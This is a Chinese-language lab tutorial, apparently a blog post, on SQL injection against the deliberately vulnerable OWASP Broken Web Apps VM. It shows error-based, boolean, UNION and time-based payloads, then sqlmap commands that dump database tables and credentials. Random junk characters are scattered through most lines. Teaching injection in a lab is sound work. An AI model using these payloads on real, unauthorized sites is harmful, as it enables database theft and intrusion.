|
2 d. S7 v: m+ k4 e1 i 在owasp年度top 10 安全问题中,注入高居榜首SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序, 而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地 过滤用户输入的数据,致使非法数据侵入系统。
; u( W s1 f2 D7 w: \) D; M# f; o 对于Web应用程序而言,用户核心数据存储在数据库中,例如MySQL、SQL Server、Oracle; 通过SQL注入攻击,可以获取、修改、删除数据库信息,并且通过提权来控制Web服务器等其他操作;
( S4 Q6 f( q( A2 h( A" P2 d7 A SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程; 因为SQL注入漏洞造成的严重危害性,所以常年稳居OWASP TOP10的榜首!1.实验说明
" F0 |% I, `9 j$ @ 目标靶机:OWASP_Broken_Web_Apps_VM_1.28 x8 P+ Z( `4 S! [: \3 Z
# C: a: y4 d4 A: p
下载地址9 J7 L2 D& Y' T! A
测试渗透机:Kali-Linux-2018.2-vm-amd64
% D+ q5 y; s" [% o9 X' n 下载地址1.SQL注入的危害' F. B2 @4 n7 a7 _: q' M. `
1、拖库导致用户数据泄漏;
. i7 b: o- K5 i8 E x9 m 2、危害web等应用的安全;
; Y/ C( z0 p+ ~5 i 3、失去操作系统的控制权;1 m8 @# A2 M R( i* [2 f0 @
4、用户信息被非法买卖;( I9 d* @9 e {
5、危害企业及国家的安全!
( V s( g! _* E: U+ R9 O 2.注入流程
* c, _- U5 D6 v2 T: Z 1. 判断是否有SQL注入漏洞;
) l& v, ?' W2 s+ x 2. 判断操作系统、数据库和web应用的类型;' @# G) |5 ?- [* _
3. 获取数据库信息,包括管理员信息及拖库;/ Q% T, _0 A. [ A) H
4. 加密信息破解,sqlmap可自动破解;
+ [' ^9 V! A7 H5 U 5. 提升权限,获得sql-shell、os-shell、登录应用后台;
5 ~ x8 i& j" a 2.手动注入实战
. }1 ~" J- l, s 1.基于错误的注入
9 W. i" S$ n0 {' ?0 u/ U i 错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点; 通过数据库报错信息,也可以探测到数据库的类型和其他有用信息
- J$ a5 _3 O9 P$ y; t ^$ a0 F 通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。 
; V' r- c% m- _/ a SQL注入语句解析:
: ?. r$ T. S$ {9 t I4 d' J mysql> select first_name,last_name from dvwa.users;
r) ]0 M6 v) |! N9 h2 q5 w2 q mysql> select first_name,last_name from dvwa.users where user_id=1;
$ \ n) r7 X% G* e #你输入1 相当于在最后的两个单引号中间插入一个1来执行mysql的查询语句
8 u5 K4 \6 K4 m2 X# B4 H 怎么样判断我们是否可以注入呢?
" n2 ? o% c$ Y0 A 5 z& f$ Z9 u* Z$ {. t2 j! ?
' O8 l* ?5 {5 d3 h1 O6 H& i 会发生页面报错( c, c1 b! k( |) u; I
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1 `$ q" v5 V! @* M: L
SQL注入语句解析:" ~, Q+ I# Y6 u; D" J8 D
mysql> select first_name,last_name from dvwa.users where user_id=这就代表此网站我们可以注入,有注入点: \" A7 S1 a, O f& A3 U
2.基于布尔的注入
7 Y. c8 G1 ]( j& z 。
0 Q; X. g. S5 ?! }/ y& b. U 这里面用到的是or,布尔逻辑注入的思路是闭合SQL语句,构造or逻辑语句、注释多余的代码: I( }4 n$ Q) O. c! \7 a! n5 s* f
8 l8 g$ t, u5 y/ d 注入语句: or 1=1 --$ h0 |: U4 U* c* v4 n) W
原始语句:
. e l5 I3 h- j/ L4 t% B( V mysql> select first_name,last_name from dvwa.users where user_id=
$ S% Q0 t1 s, @9 g( Z9 W SQL注入语句解析: or 1=1 --
& ^/ u4 G3 _/ b mysql> select first_name,last_name from dvwa.users where user_id= or 1=1 --
- C) C7 c$ W: E8 i) v 说明:! q0 h( h0 J! S3 d1 W
第一个 用于闭合前面的条件
3 ~' O- ]) C- X3 S" K or 1=1 为真的条件 d2 W1 C! H J* \
-- 将注释后面的所有语句
/ F1 f7 g& e7 |- X* C( p 仔细看where user_id= or 1=1 -- 这个条件语句
, H+ s# R3 P$ @, u9 E user_id= 这个语句肯定是假的,因为我们的ID是阿拉伯数字,而这里面是空,所以为假0 |# s S2 L/ M5 @4 \$ ~, F
但是1=1 这个语句肯定为真 -- 是注释的意思,也就说后面的不用管
3 B9 \" v1 r; V2 k or 表示有一个条件为真就是真
: W- W" c- p/ R& d+ V [ 那总得来说这个where语句一定为真
, J" ~4 v: e. s8 t 整个语句的意思是从dvwa库的users表里面查询first_name,last_name两个字段的所有内容
& F9 p; E4 O* k# ^: h7 O- b 3.基于UNION注入: K" V1 x! {% q1 i0 k1 | T
UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;
+ F/ k* ?, J5 v8 [ 一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息2 i8 v, `, f5 Y+ O! N* }2 ^: n
//猜测数据列数
- ?) F6 ^( t" h) ?* { union select 1 --% h+ k4 m6 A9 C* W
union select 1,2 --
& a+ r. k7 s1 y% h$ l+ n- _" _ union select 1,2,3 --
7 G! |0 ], L5 a- z union select 1,2,3,4 --
1 x/ l4 f6 K$ |' M# |% l/ q/ g2 ] SQL注入语句解析:
$ t0 d2 L4 G: I) `: y9 A mysql> select first_name,last_name from dvwa.users where user_id= union select 1 --
% d' [/ U+ J: }" _) V: } mysql> select first_name,last_name from dvwa.users where user_id= union select 1,2 --$ I0 J, i& p$ ?) l' h
. D$ T. ?/ `2 v3 z8 b1 D/ p& C
//union是我们注入常用的方式,里面的1,2,3 代表的是字段名,union语句查询的时候,前后的1 G5 ]$ q# P5 @
字段数量必须相同,所以我们可以用数字代表字段,来猜测union之前的语句中有几个字段。
" V: R8 y/ S5 r& Y 这里
" |. j$ X# @' R+ }# p 显然只有两个字段  
# y8 |, O" f- [# d 你查询的不一定非要是字段,也可以是版本,表之类的" W5 H' A: d: b" U4 h" D
//获得当前数据库及用户信息
% J5 F3 R& {, V/ m! a* l, Q union select version(), database() --; y6 z0 D# J3 N7 I# ]
union select user(), database() --6 P, B, J3 S4 Y# G3 v
//查询所有库名
% Y$ I& ^- `/ r union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables --' \2 ?- `1 U' O! z
#这里面的1 只是一个列的代替,没有什么含义,但是如果你缺了这个1 前后列数量不一样会报错的' V, {7 k# B7 I4 B
//查看所库中所有表名
: V) c- E9 H c. c union select table_name, 1 from INFORMATION_SCHEMA.tables --
/ }. i/ w2 N0 o2 r- X //同时查询表名及对应库名+ @1 Z+ m$ U. X3 y/ c
union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables --) ]. l( o1 W5 o0 Z8 U: x
//查询数据列
4 v3 r9 {5 X9 P$ ^ union select NULL, user from users -- union select NULL, password from users --8 u& S$ c3 J2 Y! k" D) e
union select user, password from users -- union select NULL, GRANTEE from USER_PRIVILEGES --* ^( P& x& {% p D4 @" F
因为union前面只有两个字段,那我们想要查询多个字段怎么办?# p3 X, ~: Z0 b7 V5 p
用mysql自带的函数concat(),如
" A+ M3 z5 D' `6 J union select password, concat(first_name, ,last_name, ,user) from users --3 v4 }( ^" G* `+ f' C9 c
) o% d# b8 ~5 Q% y$ g3 [6 ^
9 T& d9 P. h, e* f6 |% o 4.基于时间的盲注 @4 J B/ b. ?8 E
有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点1 and sleep(5) --8 }# `+ t' |' Y9 |8 e1 p
SQL注入语句解析:
" ?8 ]' `( {4 B mysql> select first_name,last_name from dvwa.users where user_id=1 and sleep(5) -- 。 " Z1 M1 f/ w2 [* U! A7 v* c" W4 Y
3.sqlmap自动化注入SQL注入比较好用的工具,首推开源工具SQLmapSQLmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动 化检测,利用SQL注入漏洞,获取数据库服务器的权限它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳 定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系 统命令。
7 S' X9 m9 d/ n" q SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。 ~7 P( n7 n$ B% K
/ K' U0 C9 W0 a" U 1.GET方法注入
+ h( h7 K/ m7 w3 i# c- S 打开kali,用户名root 密码toor, E4 u* q; l2 d$ d" H
% v, S1 ~" b0 M4 J& e
$ {) V- O- O: x1 M 查看帮助我们发现我们需要获取到网页的url
, {4 ]) v+ J+ g' l  
1 _* M* w' r& h( u : ~* I$ o7 X& A A# E2 b. N) R; a
然后我们把该网页的连接复制下来在kali里面进行测试root@kali:~# sqlmap -u "http://192.168.13.144/mutillidae/index.php?page=user-info.php&username=yjssjm&password=123&user-info-php-submit-button=View+Account+Details" 
) I. [) |/ x3 ^ sqlmap参数解析:
! k% j5 j4 [0 N --users #所有用户 e; g( [( ]2 |" c6 [
--current-user #当前用户7 X/ \$ C. j& f9 O" t9 L) J# ~
--dbs #所有库
l; i' }0 M1 y! B --current-db #当前库% q( K2 W2 l1 N4 c5 k# u# U
-D "database_name" --tables #指定库名
- s/ B+ k$ e% F -D "database_name" -T "table_name" --columns #指定库名和表名
* U A7 d* ~0 x6 f# ]" h --dump-all #所有的内容
! e- C" U: [* ]. i --dump-all --exclude-sysdbs
- i( C% Y" V. y; o+ l* O8 J -D "database_name" -T "table_name" --dump
+ }* ^( S6 g) ]; r -D "database_name" -T "table_name" -C "username, password" --dump1 f# n+ b% P2 ~' `
#-C 指定字段* E0 W* I1 b6 {% V; T4 w
--batch //自动化完成
) x" i8 }( Q9 h- W, Z+ { 示例步骤:
# u2 I( ^8 S% i) M" ` 1. 获得当前数据库& Q' ?* P$ ~1 {5 k7 |
root@kali:~# sqlmap -u "你自己的url" --batch --current-db" W0 X5 c( O8 g
2. 获得数据库表
4 W N- j" O, X+ P2 [: ^4 b root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp --tables
6 _0 H& V( r- r% K9 l- { 3. 获得表的字段, a0 X) X7 r" j
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts --columns
' ~9 Y8 y- v& n/ N' E5 W 4. 获得表中的数据
# Y9 l9 R @: G. O2 R6 _: p5 K% u root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts -C "username, password" --dump ) c c- U0 [3 w4 g/ I2 }
) `+ W/ s7 m) P8 b 2.POST方法注入) e' P' h# k* Z, {
需要带cookie才能访问的注入页面,--cookie=""
/ q( [6 x- [* l8 I4 ]- U: y+ F5 I/ O  & w6 u$ ? @( |# l6 ~
root@kali:~# sqlmap -u "http://192.168.13.144/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=ehqbg9j6di70nk4ku6fm187co1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --batch . y- g/ n0 F" `7 z" n% q9 b! d% Z
7 _2 }+ B! x7 f0 g5 h3 C4 w
参数跟get获取的参数一样,就是post需要用url+cookie你们的评论和点赞是我写文章的最大动力,蟹蟹。
3 H0 ?' ]. ?& B) ]) d" S5 ~1 H' _: a4 e C5 ? S
" s! ?* ?- U" a* A, U* j9 p' e& c
0 A, ]/ i3 n! Y5 T& ^# C1 B
6 X* R$ v8 w9 c. \2 V |